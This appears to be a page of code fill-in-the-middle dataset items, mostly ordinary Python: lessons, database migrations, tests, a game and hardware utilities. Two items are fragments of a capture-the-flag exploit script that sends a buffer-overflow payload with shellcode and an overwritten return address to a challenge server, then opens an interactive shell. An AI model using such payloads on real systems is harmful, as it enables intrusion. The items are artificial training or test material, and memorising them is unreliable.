print 'Current Letter :', letter # ( ) are optional, sometimes
def IsTrue(value):
return bool(value) # not indented
def function():
print("inside a function that returns nothing")
def main():
function()
print( add(2,2) )
main()<|fim... | code_fim | easy | {
"lang": "python",
"repo": "ImageLearning/Learning-TF2-IL",
"path": "/Lessons/Lesson1/BasicPythonErrors.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ImageLearning/Learning-TF2-IL path: /Lessons/Lesson1/BasicPythonErrors.py
# https://www.w3schools.com/python/python_intro.asp
# https://docs.python.org/3/
def add(a, b):
return a + b
def ForEachLoop():
<|fim_suffix|>return bool(value) # not indented
def function():
print("inside a fu... | code_fim | medium | {
"lang": "python",
"repo": "ImageLearning/Learning-TF2-IL",
"path": "/Lessons/Lesson1/BasicPythonErrors.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: datajerk/ctf-write-ups path: /cybersecurityrumblectf2020/babypwn/exploit.py
#!/usr/bin/env python3
from pwn import *
context.log_level = 'INFO'
context.log_file = 'remote.log'
p = remote('chal.cybersecurityrumble.de', 1990)
stack = 0x00007fffffffe738
<|fim_suffix|>payload = b''
payload += 6 *... | code_fim | hard | {
"lang": "python",
"repo": "datajerk/ctf-write-ups",
"path": "/cybersecurityrumblectf2020/babypwn/exploit.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>payload = b''
payload += 6 * b'A'
payload += 2 * b'\0'
payload += (0x78 - 8 - 16 - len(shellcode)) * b'\x90'
payload += shellcode
payload += (0x78 - len(payload)) * b'\x90'
payload += p64(stack)
p.sendlineafter('return.\n',payload)
p.interactive()<|fim_prefix|># repo: datajerk/ctf-write-ups path: /cybe... | code_fim | hard | {
"lang": "python",
"repo": "datajerk/ctf-write-ups",
"path": "/cybersecurityrumblectf2020/babypwn/exploit.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> print(a+b)
soma(2,3)
soma(4,3)
soma(5,-1)<|fim_prefix|># repo: ramonvaleriano/python- path: /Livros/Livro-Introdução à Programação-Python/Capitulo 8/Pycharme/Listagem8_1.py
# Program: Listagem8_1.py
# Author: Ramon R. Valeriano
# Description:
# Updated: 15/09/2020 - 20:52
<|fim_middle|>def soma(a, ... | code_fim | easy | {
"lang": "python",
"repo": "ramonvaleriano/python-",
"path": "/Livros/Livro-Introdução à Programação-Python/Capitulo 8/Pycharme/Listagem8_1.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: ramonvaleriano/python- path: /Livros/Livro-Introdução à Programação-Python/Capitulo 8/Pycharme/Listagem8_1.py
# Program: Listagem8_1.py
# Author: Ramon R. Valeriano
# Description:
# Updated: 15/09/2020 - 20:52
def soma(a, b):
<|fim_suffix|>soma(2,3)
soma(4,3)
soma(5,-1)<|fim_middle|> print(a+... | code_fim | easy | {
"lang": "python",
"repo": "ramonvaleriano/python-",
"path": "/Livros/Livro-Introdução à Programação-Python/Capitulo 8/Pycharme/Listagem8_1.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>soma(2,3)
soma(4,3)
soma(5,-1)<|fim_prefix|># repo: ramonvaleriano/python- path: /Livros/Livro-Introdução à Programação-Python/Capitulo 8/Pycharme/Listagem8_1.py
# Program: Listagem8_1.py
# Author: Ramon R. Valeriano
# Description:
# Updated: 15/09/2020 - 20:52
def soma(a, b):
<|fim_middle|> print(a+... | code_fim | easy | {
"lang": "python",
"repo": "ramonvaleriano/python-",
"path": "/Livros/Livro-Introdução à Programação-Python/Capitulo 8/Pycharme/Listagem8_1.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: deryy/Apvideor path: /musicGo/turn4.py
# -- coding: utf-8 --
# Track beats using time series input
import librosa
import matplotlib.pyplot as plt
import librosa.display
import numpy as np
import random
np.set_printoptions(threshold=np.inf)
def music_result(music_path):
#保留两位小数
def trans2dec... | code_fim | hard | {
"lang": "python",
"repo": "deryy/Apvideor",
"path": "/musicGo/turn4.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> #音符起点识别
onset_frames = librosa.onset.onset_detect(onset_envelope=onset_env, sr=sr)
#帧数组到时间数组
onset_times = librosa.frames_to_time(onset_frames, sr=sr)
#print('onset time:',trans2deci(onset_times))
#每个音符的强弱识别
note_strengths = []
for onset_time in onset_times:
scale_indexs = [index for index,time... | code_fim | hard | {
"lang": "python",
"repo": "deryy/Apvideor",
"path": "/musicGo/turn4.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> self.date = date
self.text = text
m = Message('2011-07-25', 'hello')
source = '{{message.date}}: {{message.text}}'
tpl = env.from_string(source)
self.assertEqual(u'2011-07-25: hello', tpl.render(message = m))
class FromString_jinja2Tests(FromStringTests):
MODULE = jinja2
class F... | code_fim | medium | {
"lang": "python",
"repo": "nnabeyang/MY_jinja2",
"path": "/jinja2_api_test.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> env = self.MODULE.Environment()
class Message:
def __init__(self, date, text):
self.date = date
self.text = text
m = Message('2011-07-25', 'hello')
source = '{{message.date}}: {{message.text}}'
tpl = env.from_string(source)
self.assertEqual(u'2011-07-25: hello', tpl.... | code_fim | hard | {
"lang": "python",
"repo": "nnabeyang/MY_jinja2",
"path": "/jinja2_api_test.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: nnabeyang/MY_jinja2 path: /jinja2_api_test.py
#!/usr/bin/env python2.6
import unittest
from test import test_support
import MY_jinja2
import jinja2
class FromStringTests(unittest.TestCase):
def test_data(self):
env = self.MODULE.Environment()
tmpl = env.from_string('hello, world')
s... | code_fim | hard | {
"lang": "python",
"repo": "nnabeyang/MY_jinja2",
"path": "/jinja2_api_test.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|>s Slider_End_Value_cm4,
IFNULL(CAST((SELECT MAX(IF(index=5, value, NULL)) FROM UNNEST(hits.customMetrics)) AS STRING), '\000') as Slider_Start_Value_cm5,
IFNULL(CAST((SELECT MAX(IF(index=6, value, NULL)) FROM UNNEST(hits.customMetrics)) AS STRING), '\000') as Saved_Ret... | code_fim | hard | {
"lang": "python",
"repo": "k-ayada/SingleFilePythons",
"path": "/GoogleBQExtract.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: k-ayada/SingleFilePythons path: /GoogleBQExtract.py
-forDays' in self._parms :
dys = int(self._parms['--forDays']) - 1
if dys > 0:
self._tillDt = self._frmDt + timedelta(days=dys)
else :
self._tillDt = self._frmDt
else:... | code_fim | hard | {
"lang": "python",
"repo": "k-ayada/SingleFilePythons",
"path": "/GoogleBQExtract.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> sqlTxt = '''
SELECT IFNULL(FORMAT_TIMESTAMP('%Y-%m-%d %H:%M:%S', TIMESTAMP_SECONDS(SAFE_CAST(visitStartTime+hits.time/1000 AS INT64)), 'America/Denver'), '\000') as hit_timestamp,
IFNULL(FORMAT_TIMESTAMP('%Y-%m-%d %H:%M:%S', TIMESTAMP_SECONDS(SAFE_CAST(visitStartTime A... | code_fim | hard | {
"lang": "python",
"repo": "k-ayada/SingleFilePythons",
"path": "/GoogleBQExtract.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> # get all the jobs
query = sql.select([models.JOBS])
jobs = db_conn.execute(query).fetchall()
for job in jobs:
# get the last jobstate of the current job
query = (sql.select([models.JOBSTATES]).
where(models.JOBSTATES.c.job_id == job.id).
o... | code_fim | medium | {
"lang": "python",
"repo": "akiselev1/dci-control-server",
"path": "/dci/alembic/versions/49363052bd7d_add_duration_to_jobs.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: akiselev1/dci-control-server path: /dci/alembic/versions/49363052bd7d_add_duration_to_jobs.py
#
# Copyright (C) 2019 Red Hat, Inc
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the L... | code_fim | hard | {
"lang": "python",
"repo": "akiselev1/dci-control-server",
"path": "/dci/alembic/versions/49363052bd7d_add_duration_to_jobs.py",
"mode": "psm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_suffix|> db_conn = op.get_bind()
op.add_column('jobs',
sa.Column('duration', sa.Integer, default=0))
# get all the jobs
query = sql.select([models.JOBS])
jobs = db_conn.execute(query).fetchall()
for job in jobs:
# get the last jobstate of the current job
q... | code_fim | hard | {
"lang": "python",
"repo": "akiselev1/dci-control-server",
"path": "/dci/alembic/versions/49363052bd7d_add_duration_to_jobs.py",
"mode": "spm",
"license": "Apache-2.0",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: bestwishfang/PersonWork path: /Flasknew/migrations/versions/f5df9bb86243_.py
"""empty message
Revision ID: f5df9bb86243
Revises: 76be3ef0f72f
Create Date: 2019-10-07 20:25:26.299540
"""
from alembic import op
import sqlalchemy as sa
# revision identifiers, used by Alembic.
revision = 'f5df9bb... | code_fim | hard | {
"lang": "python",
"repo": "bestwishfang/PersonWork",
"path": "/Flasknew/migrations/versions/f5df9bb86243_.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> # ### commands auto generated by Alembic - please adjust! ###
op.create_table('curriculum',
sa.Column('id', sa.Integer(), autoincrement=True, nullable=False),
sa.Column('c_id', sa.String(length=32), nullable=True),
sa.Column('c_name', sa.String(length=32), nullable=True),
sa.Column... | code_fim | medium | {
"lang": "python",
"repo": "bestwishfang/PersonWork",
"path": "/Flasknew/migrations/versions/f5df9bb86243_.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> try:
insect_name_other = [interaction['capture_insect_details']['insect_scientific_name_other']
for interaction in submission_json['repeat_group'] if 'insect_scientific_name_other'
in interaction['capture... | code_fim | hard | {
"lang": "python",
"repo": "simatei/onadata",
"path": "/onadata/libs/utils/validate_data.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: simatei/onadata path: /onadata/libs/utils/validate_data.py
import requests
import xmltodict
import json
def check_gbif_data(name):
'''check whether a name exists in gbif database'''
url = "https://api.gbif.org/v1/occurrence/search"
querystring = {"scientificName": "{}".format(name)... | code_fim | hard | {
"lang": "python",
"repo": "simatei/onadata",
"path": "/onadata/libs/utils/validate_data.py",
"mode": "psm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> # adding SDR
self.print('Filling Sensor Data Repository from \'' + argv[1] + '\'.')
with open(argv[1], 'rb') as in_file:
count = 0
while count < file_size:
sdr1 = in_file.read(5)
count += 5
rec_len = sdr1[4]
sdr1 += in_file.read(r... | code_fim | hard | {
"lang": "python",
"repo": "hyvedesignsolutions/hyve-pyipmi",
"path": "/src/pyipmi/cmds/_sdr.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> if len(argv) < 2:
raise PyCmdsArgsExcept(1)
sensor_num = str2int(argv[1])
if sensor_num == -1:
raise PyCmdsArgsExcept(3, 0, argv[1])
opt, print_hdl = SENSOR_PRINT_HDL[argv[0]]
reading_all = get_sensor_readings(self, opt, 0, 0, False, sensor_num)
print_hdl(self, re... | code_fim | hard | {
"lang": "python",
"repo": "hyvedesignsolutions/hyve-pyipmi",
"path": "/src/pyipmi/cmds/_sdr.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: hyvedesignsolutions/hyve-pyipmi path: /src/pyipmi/cmds/_sdr.py
of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright
# notice, this list of conditions and the following disclaimer in the
# documentation and/or other materials ... | code_fim | hard | {
"lang": "python",
"repo": "hyvedesignsolutions/hyve-pyipmi",
"path": "/src/pyipmi/cmds/_sdr.py",
"mode": "psm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: lovette/mysqlstmt path: /tests/test_update.py
# -*- coding: utf-8 -*-
import unittest
from nose.tools import assert_equals, raises
from mysqlstmt import Update
from collections import OrderedDict
class TestUpdate(unittest.TestCase):
def test_constructor_table_name(self):
q = Update... | code_fim | hard | {
"lang": "python",
"repo": "lovette/mysqlstmt",
"path": "/tests/test_update.py",
"mode": "psm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_suffix|> q = Update()
values = OrderedDict([('t1c1', 1), ('t1c2', 2)])
sql_t = q.table('t1').set_value(values).sql()
assert_equals(sql_t, ('UPDATE t1 SET `t1c1`=1, `t1c2`=2', None))
def test_dict_strings(self):
q = Update()
values = OrderedDict([('t1c1', 'a'), (... | code_fim | hard | {
"lang": "python",
"repo": "lovette/mysqlstmt",
"path": "/tests/test_update.py",
"mode": "spm",
"license": "BSD-3-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jason790/safecity path: /safecity/apps/tropo/views.py
from datetime import datetime
import logging
log = logging.getLogger("safecity.tropo.views")
from safecity.apps.danger.models import Report
from safecity.apps.locate.location_parser import *
from safecity.apps.signup.models import Resident
fr... | code_fim | hard | {
"lang": "python",
"repo": "jason790/safecity",
"path": "/safecity/apps/tropo/views.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> """
Process setting up a record of a new user and request that they establish
their location.
"""
try:
# If the user is already registered process as an update instead
Resident.objects.get(phone_number=message.sender)
return process_update(message)
except Re... | code_fim | hard | {
"lang": "python",
"repo": "jason790/safecity",
"path": "/safecity/apps/tropo/views.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|>def process_report(message):
"""
Process a message with no keyword--that is, a danger report.
"""
report = Report.objects.create(
location=message.location.location,
text=message.text,
sender=message.sender,
received=message.received)
recipients = ... | code_fim | hard | {
"lang": "python",
"repo": "jason790/safecity",
"path": "/safecity/apps/tropo/views.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> output1, scores1 = cv2.groupRectangles(opencv_gr, gt, eps)
output2, aux2, scores2 = group_rectangles_with_aux.execute(my_gr, gt, eps)
if len(output1) == 0:
assert len(output2) == 0
else:
try:
assert (output1 == output2).all()
except:
print 'opencv'
print output1
... | code_fim | hard | {
"lang": "python",
"repo": "twangcat/lane_eval",
"path": "/merging/test_group_rect.py",
"mode": "spm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: twangcat/lane_eval path: /merging/test_group_rect.py
import numpy as np
import cv2
import group_rectangles_with_aux
import random
num_trials = 10000
num_rectangles = 500
arena_size = 100.0
square_size = 10.0
gt = 1
eps = 0.8
use_aux = True
<|fim_suffix|> output1, scores1 = cv2.groupRectangles(... | code_fim | hard | {
"lang": "python",
"repo": "twangcat/lane_eval",
"path": "/merging/test_group_rect.py",
"mode": "psm",
"license": "BSD-2-Clause",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: hugoespinelli/guessgame path: /guessgame.py
import random
from tkinter import *
from PIL import Image, ImageTk
class Tela(object):
LARGURA = 562;
ALTURA = 430;
status1 = ''
status2 = ''
color_bg = '#879BDD'
color_enfasis = '#425AA8'
color_text= 'white'
def __i... | code_fim | hard | {
"lang": "python",
"repo": "hugoespinelli/guessgame",
"path": "/guessgame.py",
"mode": "psm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_suffix|> if(self.tentativa == 10):
self.game_over = True
return 'Infelizmente você perdeu! Mas não desanime, jogue novamente!'
# Carrega status
if self.tentativa == 1:
self.status1 = ''
self.status2 = self.SetStatus(palpite)
... | code_fim | hard | {
"lang": "python",
"repo": "hugoespinelli/guessgame",
"path": "/guessgame.py",
"mode": "spm",
"license": "MIT",
"source": "the-stack-v2"
} |
<|fim_prefix|># repo: jcsaaddupuy/clu-python path: /src/tests/test_telnetagent.py
import unittest
from mock import Mock, MagicMock
from clu.agents.telnet.telnetagent import TelnetRmqAgent, TelnetRmqAgenException
from clu.agents.rabbitmq.rabbitmqagent import RabbitMqAgent
from mock import patch
class TelnetRmqAgentTes... | code_fim | hard | {
"lang": "python",
"repo": "jcsaaddupuy/clu-python",
"path": "/src/tests/test_telnetagent.py",
"mode": "psm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_suffix|> """ Test that the call to after_execute call superclass after_execute"""
agentconf={}
telnetconf={"host":"telnet.lan"}
rmqconf={"host":"rmq.lan"}
agent=TelnetRmqAgent(agentconf, telnetconf, rmqconf)
#Setup generic mock for others methods wich are not tested here
ignoredmocks=M... | code_fim | hard | {
"lang": "python",
"repo": "jcsaaddupuy/clu-python",
"path": "/src/tests/test_telnetagent.py",
"mode": "spm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
<|fim_suffix|> #Setup generic mock for others methods wich are not tested here
ignoredmocks=Mock()
agent.telnetclient=ignoredmocks
agent.rmqclient=ignoredmocks
instance = mocked.return_value
agent.after_execute()
mocked.assert_called_with(agent)
mocked.assert_called_with(agent)
... | code_fim | hard | {
"lang": "python",
"repo": "jcsaaddupuy/clu-python",
"path": "/src/tests/test_telnetagent.py",
"mode": "spm",
"license": "Unlicense",
"source": "the-stack-v2"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.